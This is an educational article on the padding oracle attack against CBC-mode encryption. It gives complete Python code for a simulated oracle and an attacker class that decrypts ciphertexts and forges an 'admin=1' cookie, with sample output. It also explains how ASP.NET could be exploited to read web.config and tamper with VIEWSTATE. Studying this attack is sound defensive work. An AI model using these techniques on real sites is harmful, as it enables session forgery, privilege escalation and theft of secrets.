The padding oracle cryptographic attack

Definitions

PKCS7 Padding

Padding is an important notion in cryptography. The cryptographic primitives of block ciphers proceed on fixed size bytes blocks.
If the size of the text to encrypt is not a multiple of the block size used by the cryptographic primitive in question, then we need to fill the last block with padding bytes.
There are many standards for padding, each one with its own rules for the byte values. As per the PKCS7 standard (RFC 3852, section 6.3), the value of every padding byte is the total length of the padding. Figure 1.1 illustrates this rule.

padding_en.png
Figure 1.1: PKCS7 padding
In the first case, 3 bytes are missing in the plain text to form a complete block. So we have to add 3 padding bytes which will have 0x3 as value.
In the second example, the first block is filled, and therefore does not contain padding. On the other hand, 5 bytes are missing in the second block, therefore we need 5 padding bytes with the 0x5 value.
In the case of a 8 byte single block, or a 8 byte final block, the standard specify that we need to add another block full of padding, therefore with 0x8 value.
It is important to remember that our article only deals with symmetric ciphering primitives, with 8 bytes blocks, and using the PKCS7 padding.

The oracle

An "oracle" is a black box system which can solve a decision problem in one operation. We send it a question and it answers it.
In our case, a padding oracle is a mechanism which, when we submit a cipher text, will return a response that tells us whether the padding is correct with respect to the PKCS7 standard.
In this article, we will simulate the attack presented by Vaudenay in his paper.

CBC mode

We will attack a ciphering system using the "Cipher Block Chaining" (CBC) mode to encrypt and decrypt data. We will first briefly explain how the CBC mode works. Figure 1.2 shows how the mode works.

Schema_cbc_en.png
Figure 1.2: CBC mode (source: Wikipedia)
As shown in figure 1.3, the encryption of a plain text occurs after a "exclusive or" (XOR) between this text and a 8 bytes vector. This vector is called the initialization vector (IV). It is chosen by the user or generated randomly. For the following blocks, the vector used is the ciphertext of the previous block: IV(block n) = cipher(block n-1).

chiffrement_cbc_en.png
Figure 1.3: encryption in CBC mode
Decryption is illustrated in figure 1.4. It is symmetric, each block goes first in the cryptographic system, and then goes through a XOR with an 8 bytes vector. This vector is obtained in the same way as the encryption.

dechiffrement_cbc_en.png
Figure 1.4: decryption in CBC mode

Simulation of the attack

We remind you that this attack is possible only on a block symmetric ciphering using PKCS7 padding.

Decryption

In order to ease the writing and understanding of this article, we have coded with Python a program that simulates the oracle in a class, and implements the attack in an other class.
We start by forging a cipher text giving a plain text to the program:
C:\> python pyPaddOracle.py -c
Text to encrypt: admin=1
Padded text: 61646d696e3d3101
Ciphered value (IV + Ciphered text): 1712180527255516b97097596694c420 This is coded quite quickly with Pycrypto:
class MyPaddingOracleServer:
  key = 'iloveyouihateyou'
  iv = '1712180527255516'.decode('hex')

  def pkcs7(self,text,length):
    if ( (len(text) % 8) == 0 ):
      amount = 8
    else:
      amount = length - len(text)%length
    pattern = chr(amount)
    pad = pattern*amount
    return text + pad

  def encrypt(self,plain):
    cipher = DES3.new(self.key,DES3.MODE_CBC,self.iv)
    paddedPlainText = self.pkcs7(plain,DES3.block_size)
    cipheredText = cipher.encrypt(paddedPlainText)
    print "Padded text: " + paddedPlainText.encode('hex')
    print "Ciphered value (IV + Ciphered text): " + self.iv.encode('hex') + cipheredText.encode('hex')
verbose = 0
if ( len(sys.argv) < 2 ):
    usage()
if ( (len(sys.argv) > 2) and (sys.argv[2] == "-v") ):
    verbose = 1
if ( sys.argv[1] == "-c" ):
    plainText = raw_input("Text to encrypt: ")
    oracle = MyPaddingOracleServer()
    oracle.encrypt(plainText)
elif ( sys.argv[1] == "-d" ):
    cypher = raw_input("Value to decrypt (IV + Ciphered text): ")
    oracle = MyPaddingOracleServer()
    print "Decrypted value: " + oracle.decrypt(cypher)
else:
    usage()
C:\>python pyPaddOracle.py -c
Text to encrypt: hello!
Padded text: 68656c6c6f202101
Ciphered value (IV + ciphertext): 1712180527255516c818194b4aa8dc91

C:\>python pyPaddOracle.py -d
Value to decrypt (IV + ciphertext): 1712180527255516c818194b4aa8dc91
Decrypted value: 68656c6c6f202101

C:\>python pyPaddOracle.py -d
Value to decrypt (IV + ciphertext): 0000000000000000c818194b4aa8dc91
Traceback (most recent call last):
  File "pyPaddOracle.py", line 152, in <module>
    print "Decrypted value: " + oracle.decrypt(cypher)
  File "pyPaddOracle.py", line 34, in decrypt
    raise Exception("Error: bad padding!")
Exception: Error: bad padding! Here is the code of the functions to decrypt and verify the padding. The oracle is easily identifiable.
class MyPaddingOracleServer:
  key = 'iloveyouihateyou'
  iv = '1712180527255516'.decode('hex')

  def is_pkcs7_padding_valid(self,block):
    c = block[-1]
    return block[-ord(c):] == ord(c) * c

  def decrypt(self,ciphered):
    ciphered = ciphered.decode('hex')
    self.iv = ciphered[0:DES3.block_size]
    cipher = DES3.new(self.key,DES3.MODE_CBC,self.iv)
    uncipher = cipher.decrypt(ciphered[DES3.block_size:])
    if not self.is_pkcs7_padding_valid(uncipher):
      raise Exception("Error: bad padding!")
    else:
      return uncipher.encode('hex') When the padding is bad, a "bad padding" exception error is raised, and this constitutes the padding oracle.

We will put ourselves in the shoes of an attacker which does not know the key used for the encryption.
He just knows that the cryptographic system is an 8 bytes CBC block ciphering and that the blocks are padded with PKCS7, and will only use the padding oracle.
He intercepts a cookie containing a ciphered message that he wants to decrypt: 1712180527255516ff7ac1e450628bcc.
In order to succeed, he uses this class in Python to simulate the attack:
class VeryBadHacker:
  currentBlock = '\x00\x00\x00\x00\x00\x00\x00\x00'
  IVoriginal = '\x00\x00\x00\x00\x00\x00\x00\x00'
  intVal = '\x00\x00\x00\x00\x00\x00\x00\x00'
  iv = '\x00\x00\x00\x00\x00\x00\x00\x00'
  oracle = MyPaddingOracleServer()
  verbose = 0 The attack takes placeblock here:
class VeryBadHacker:

  def uncipherValue(self,value):
    uncipheredValue = ""
    nbBlock = len(value)/(DES3.block_size) - 1
    nCurrentBlock = 1
    if ( self.verbose ):
      print 'Number of blocks: ' + str(nbBlock)
    self.IVoriginal = value[0:DES3.block_size]
    self.currentBlock = value[DES3.block_size*nCurrentBlock:DES3.block_size*(nCurrentBlock+1)]
    while ( nCurrentBlock <= nbBlock ):
      uncipheredValue += self.uncipherBlock(self.currentBlock)
      nCurrentBlock = nCurrentBlock + 1
      self.IVoriginal = self.currentBlock
      self.currentBlock = value[DES3.block_size*nCurrentBlock:DES3.block_size*(nCurrentBlock+1)]
    return "Deciphered value: " + uncipheredValue At first, the attacker begins by recovering the original IV and the ciphered text.
Then, he decrypts each block, not forgetting that in each new block, the new IV is the last ciphered block.

Here is the heart of the attack, the decryption of a block by exploiting the padding oracle:
class VeryBadHacker:

  def uncipherBlock(self,block):
    if ( self.verbose ):
      print "Ciphered block: " + block.encode('hex')
      print "Original IV: " + self.IVoriginal.encode('hex')
    currentByte = 0x8
    goodPaddingValue = 0x1
    while (currentByte > 0):
      if ( self.verbose ):
        print "Deciphering byte " + str(currentByte)
        print "Good padding value: " + str(goodPaddingValue)
      format = "%0"+str(2*currentByte)+"x"+self.iv[2*currentByte:2*DES3.block_size]
      # bruteforce the IV until good padding response from the oracle
      for self.iv in [format % i for i in xrange(0,0xFF+1)]:
      try:
        self.oracle.decrypt(self.iv + block.encode('hex'))
      except Exception:
        continue
      else:
        break;
      if ( self.verbose ):
        print "IV found to generate valid padding value: " + self.iv
      # we know the plain text thanks to the valid padding response
      vectPadd = ("%02x" %(goodPaddingValue)) * goodPaddingValue
      # we can calculate the intermediate values
      self.intVal = "%016x" %(int(self.iv,16) ^ int(vectPadd,16))
      if ( self.verbose ):
        print "Intermediates Values vector: " + self.intVal
        print 'Deciphering byte '+str(currentByte)+' done!'
      # prepare data for next byte
      currentByte = currentByte - 1
      goodPaddingValue = goodPaddingValue + 1
      vectPadd = ("%02x" %(goodPaddingValue)) * (goodPaddingValue-1)
      # we calculate last byte of bruteforced IV
      self.iv = "%016x" %(int(self.intVal,16) ^ (int(vectPadd,16)))
      if ( self.verbose ):
        print "New IV for next round: " + self.iv
        print "\n"
      # all block deciphered - XORing intVal with the original IV to find the plain text
      unciphered = "%016x" %((int(self.IVoriginal.encode('hex'),16))^(int(self.intVal,16)))
      if ( self.verbose ):
        print "Intermediate values found for this block: " + self.intVal
      return unciphered For each block, we have to find the IV generating a correct padding. It is the work of the while loop which put all values from 0x00 to 0xFF in a byte of the IV. We start with the last byte: its value is correct whenever the generated plain text byte is 0x1, and that is exactly what the oracle can tell us.
Once we know the last byte of the IV, we can find the previous one, knowing that the oracle will reveal us when the plain text is 0x2 for the last 2 bytes.
Once this IV is found, we just have to progressively recover to the plain bytes for the following blocks by following the CBC mode decryption. By XORing the byte found for this IV with the good padding value, we retrieve the good intermediate value. And finally, by XORing this intermediate value with the original IV (we know it because it transmitted with the cipher) we recover the plain value.
For clarity purposes, we detailed the results for bytes 8 and 7 in the following tables.
IV* represents the IV which will be brute forced, and the plain text* is the out plain text with a valid padding.

Decryption of the 8th byte

Our brute force stops when IV*(8) = 0x16
octet8_en.png
Once the 8th byte is decrypted, we can pass to the 7th.

Decryption of the 7th byte

For it, we must keep in mind that the good value for all bytes of the padding changes, now it is 0x2.
Therefore we have to fix the 8th byte of the new IV* so that the plain text gives 0x2 (this way we only brute force the 7th byte). That is possible because we have previously found the 8th byte of the intermediate values vector. By XORing it with 0x2 we find the correct value for the 8th byte of the IV*, and now we only need to proceed in the same way to decrypt the 7th byte.
octet7_en.png
Our brute force finds value 0x66 for the 7th byte of the IV*, that allows us to decrypt the cipher 7th byte.
By iterating these operations on every byte, our program retrieves the whole plain text.
...
elif ( sys.argv[1] == "-u" ):
    ivan = VeryBadHacker(verbose)
    cipheredValue = raw_input("Value to decrypt: ")
    print ivan.uncipherValue(cipheredValue.decode('hex'))
elif ( sys.argv[1] == "-x" ):
    ivan = VeryBadHacker(verbose)
    plain = raw_input("Text to encrypt: ")
    cipher = raw_input("Valid ciphered value: ")
    print ivan.cipherPlainText(plain,cipher.decode('hex'))
else:
    usage()
C:\>python pyPaddOracle.py -u -v

Value to decrypt: 1712180527255516ff7ac1e450628bcc
Number of blocks: 1
Ciphered block: ff7ac1e450628bcc
Original IV: 1712180527255516

Deciphering byte 8
Good padding value: 1
IV found to generate valid padding value: 0000000000000016
Intermediates Values vector: 0000000000000017
Deciphering byte 8 done!
New IV for next round: 0000000000000015

Deciphering byte 7
Good padding value: 2
IV found to generate valid padding value: 0000000000006715
Intermediates Values vector: 0000000000006517
Deciphering byte 7 done!
New IV for next round: 0000000000006614

Deciphering byte 6
Good padding value: 3
IV found to generate valid padding value: 00000000001b6614
Intermediates Values vector: 0000000000186517
Deciphering byte 6 done!
New IV for next round: 00000000001c6113

Deciphering byte 5
Good padding value: 4
IV found to generate valid padding value: 000000004d1c6113
Intermediates Values vector: 0000000049186517
Deciphering byte 5 done!
New IV for next round: 000000004c1d6012

Deciphering byte 4
Good padding value: 5
IV found to generate valid padding value: 000000694c1d6012
Intermediates Values vector: 0000006c49186517
Deciphering byte 4 done!
New IV for next round: 0000006a4f1e6311

Deciphering byte 3
Good padding value: 6
IV found to generate valid padding value: 0000736a4f1e6311
Intermediates Values vector: 0000756c49186517
Deciphering byte 3 done!
New IV for next round: 0000726b4e1f6210

Deciphering byte 2
Good padding value: 7
IV found to generate valid padding value: 0071726b4e1f6210
Intermediates Values vector: 0076756c49186517
Deciphering byte 2 done!
New IV for next round: 007e7d6441106d1f

Deciphering byte 1
Good padding value: 8
IV found to generate valid padding value: 7e7e7d6441106d1f
Intermediates Values vector: 7676756c49186517
Deciphering byte 1 done!
New IV for next round: 7f7f7c6540116c1e

Intermediate values found for this block: 7676756c49186517
Deciphered value: 61646d696e3d3001 The cookie is decrypted!
The value of the cookie is: ""admin=0"
Since he is not administrator of the site, the attacker can assume that this value would be 1 for an admin. He wants to encrypt a new cookie with value "admin=1". But he has no idea of the encryption key used by the server. We will see that he can however use the oracle to correctly encrypt any message.

Encryption

Our decryption technique allows us, in addition to recovering the plain text, to put our hands on the intermediate values vector. And if we observe the decryption schema of CBC, we see that the discovery of this vector is sufficient to cipher any plain text without knowing the key, because we control the IV too.
Here is the code in Python of the function which allows us to correctly encrypt a plain text. We just need a valid cipher in order to retrieve the IV and the first intermediate values.
class VeryBadHacker:

  def cipherPlainText(self,plain,cipher):
    IVoriginal = cipher[0:DES3.block_size]
    plain = self.oracle.pkcs7(plain,DES3.block_size)
    nbBlock = len(plain)/(DES3.block_size)
    blocks =  [plain[DES3.block_size*i:DES3.block_size*i+DES3.block_size] for i in range(len(plain)/DES3.block_size)]
    res = cipher[DES3.block_size:2*DES3.block_size]
    # actual cipher = iv + first block encrypted
    actualCipher = cipher[0:2*DES3.block_size]
    while ( nbBlock > 0 ):
      # we decrypt the cipher to recuperate the intermediate values
      self.uncipherValue(actualCipher)
      # we calculate the iv necessary for the plain text block
      newIV = "%016x" %(int(self.intVal,16)^int(blocks[nbBlock-1].encode('hex'),16))
      if ( self.verbose ):
        print 'Actual cipher: ' + actualCipher.encode('hex')
        print 'IV found for this cipher: ' + newIV
      res = newIV.decode('hex') + res
      # now the cipher becomes iv original + last iv found
      actualCipher = IVoriginal + newIV.decode('hex')
      nbBlock = nbBlock - 1
      return "Ciphered value for \"" + plain + "\" is " + res.encode('hex') The function begins by retrieving the valid ciphered block and the IV used for this block encryption.
Then it recovers the intermediate values vector by decrypting this cipher with the attack by padding oracle.
Next, we calculate the IV necessary for the plain data block to encrypt (by beginning with the last block). To find this IV, we just need to XOR the intermediate values vector with the plain block.
These operations are repeated for the following block, with the valid cipher block becoming the original IV accompanied by the new IV that we just found. And the process will run on until it reaches the plain text first block.
Here is the (light) output of our function on a 2 blocks plain text:
C:\>python pyPaddOracle.py -x -v

Text to encrypt: Hello World!
Valid ciphered value: 1712180527255516ff7ac1e450628bcc

Ciphered block: ff7ac1e450628bcc
Original IV: 1712180527255516

Actual cipher: 1712180527255516ff7ac1e450628bcc
IV found for this cipher: 041a114c681b6614

Ciphered block: 041a114c681b6614
Original IV: 1712180527255516

Actual cipher: 1712180527255516041a114c681b6614
IV found for this cipher: 72eb88a38ca96879

Ciphered value for "Hello World!???" is 72eb88a38ca96879041a114c681b6614ff7ac1e450628bcc The program starts by finding the good IV to obtain "rld!\x03\x03\x03" from the intermediate values found thanks to the valid cipher passed in parameter 1712180527255516ff7ac1e450628bcc.
This new IV becomes the new valid cipher: 041a114c681b6614.
The program now looks for the good IV to obtain "Hello Wo" from the intermediate values found thanks to the valid cipher found previously: 1712180527255516041a114c681b6614.
Once this IV is found, and since we were at the first plain text block, our algorithm is finished.
We verify our cipher using the decryption function of our server:
C:\>python pyPaddOracle.py -d
Value to decrypt (IV + Ciphered text): 72eb88a38ca96879041a114c681b6614ff7ac1e450628bcc50628bcc
Value decrypted: 48656c6c6f20576f726c642021030303

C:\>python
Python 2.6 (r26:66721, Oct  2 2008, 11:35:03) [MSC v.1500 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> "48656c6c6f20576f726c642021030303".decode('hex')
'Hello World!\x03\x03\x03' That works flawlessly!
Our attacker can now forge his own cookie in order to get the administrator role on the vulnerable web site!
C:\>python pyPaddOracle.py -x
Text to encrypt: admin=1
Valid ciphered value: 1712180527255516ff7ac1e450628bcc
Ciphered value for "admin=1?" is: 1712180527255416ff7ac1e450628bcc By changing his cookie from a ciphered value to "1712180527255416ff7ac1e450628bcc", he becomes administrator on the website.

ASP.NET vulnerable to padding oracle attacks

The vulnerability: the padding oracle

If we rely on the Juliano Rizzo and Thai Duong conference, on the CVE out a little later, and on the other many blog posts, ASP.NET is vulnerable to padding oracle attacks.
As we have seen in the first part of this article, it means that an oracle informing us on the accuracy of the padding is present, and that the padding scheme used is PKCS7.
We will verify that information with the tool Reflector which allows us to browse the source code of .NET libraries.
After a quick research on the key word "padding", we retrieve the method which returns a very clear exception on the invalidity of the padding received.
oracle_asp.png
Still with Reflector, we quickly realize that this function is used by every Web functions of .NET using cryptography. Indeed, ASP.NET offers applications developers the possibility to cipher their sensitive data (cookie, form fields, VIEWSTATE, and so on). It is therefore all .NET security models that are impacted by this vulnerability.
It is for instance the case for the method
FormsAuthentication.Decrypt(String) from the namespace
System.Web.Security which is the heart of ASP.NET security.
We will recover the code of this method with the Reflector tool. To decrypt the string in the parameter, it uses the method
MachineKeySection.EncryptOrDecryptData(false, buf, null, 0, buf.Length, IVType.Random); which uses the method
FlushFinalBlock(); for its last block (the block which interest us, because it is a padded block). This function then uses
RijndaelManagedTransform.TransformFinalBlock(byte[] inputBuffer, int inputOffset, int inputCount); still for this last block. Finally, we find within the code of this method our famous function
DecryptData(inputBuffer, inputOffset, inputCount, ref buffer2, 0, this.m_paddingValue, true); which is vulnerable to attacks by padding oracle, and forwards this oracle information to the end user.

Possible applications

From CVE and the different posts on Internet, it would be possible to:
  • decrypt/encrypt sensible data (cookies, VIEWSTATE, and so on)
  • download the web.config of the application
We will summarise these different processes and explain for each them, why they are possible.

The Decryption/encryption of sensible data

This is a basic simulation of an attack by padding oracle as seen in a previous part.
Thanks to the oracle, an attacker who intercepts a cookie or another type of encrypted data (other than the VIEWSTATE which is a special case that we will explain later) can decrypt it, modify it at will and re-encrypt it properly in order to hedge the vulnerable Web server.

The Downloading of web.config

When looking at an ASP.NET page, we can frequently see this type of code:
...
<script src="/WebResource.axd?d=qFJFyuhQM8t4fs_ZevAowA2&amp;t=634190010246548951" type="text/javascript"></script>
... The JavaScript file and its path are hidden, and can only be accessible by using WebResource.axd. The value of the parameter "d" is encoded in a modified version of base64 by .NET. It seems that this value can be encrypted, and therefore may be the path and the name of the file.
WebResource.axd is indeed a HTTP handler. When the ASP.NET server receives a request for this file, it uses the AssemblyResourceLoader HTTP handler located in the System.WebHandlers namespace.
Reading the code of this handler, and specially that of the
ProcessRequest(HttpContext context) method, we recover a call to the function
DecryptString(str) which is as previously seen vulnerable to padding oracle attacks.
An attacker would be able to decrypt parameter values of WebResource.axd, and change the name of the requested file by substituting it to web.config. Once the value is well encrypted and injected in the URL, he will obtain the file.
It is quite important to note that there is moreover a brute force to be performed on the first block, because we do not control the IV. To get more information on this attack, you can read this great article.

VIEWSTATE case

In the CVE, we read that it is also possible with attack the padding attack to decrypt, modify, and crypt the VIEWSTATE (a real tote bag for ASP.NET developers).
But the VIEWSTATE is protected by a MAC which prevents from modifying its value as we would do with a cookie or another type of data.
To successfully decrypt the VIEWSTATE, we need the key used for the MAC, key that is located in the web.config file. And , as just seen,we are able to get it! ;)

Conclusion

Although quite simple, padding oracle attacks can be very effective and destructive. ASP.NET has made the cost because their security model is based on the possibility for developers to easily encrypt their data and the VIEWSTATE.
Our tool was not developed in order to simulate the attack on real environment. For this, we should code ways to recognize the padding oracle program with the observation of the return code of the Web page, the observation of eventual error messages on the page, or the difference between display times when there is a padding error or not.
PadBuster, a quite effective software for identifying and exploiting padding oracles in any web application is available on the Internet.

References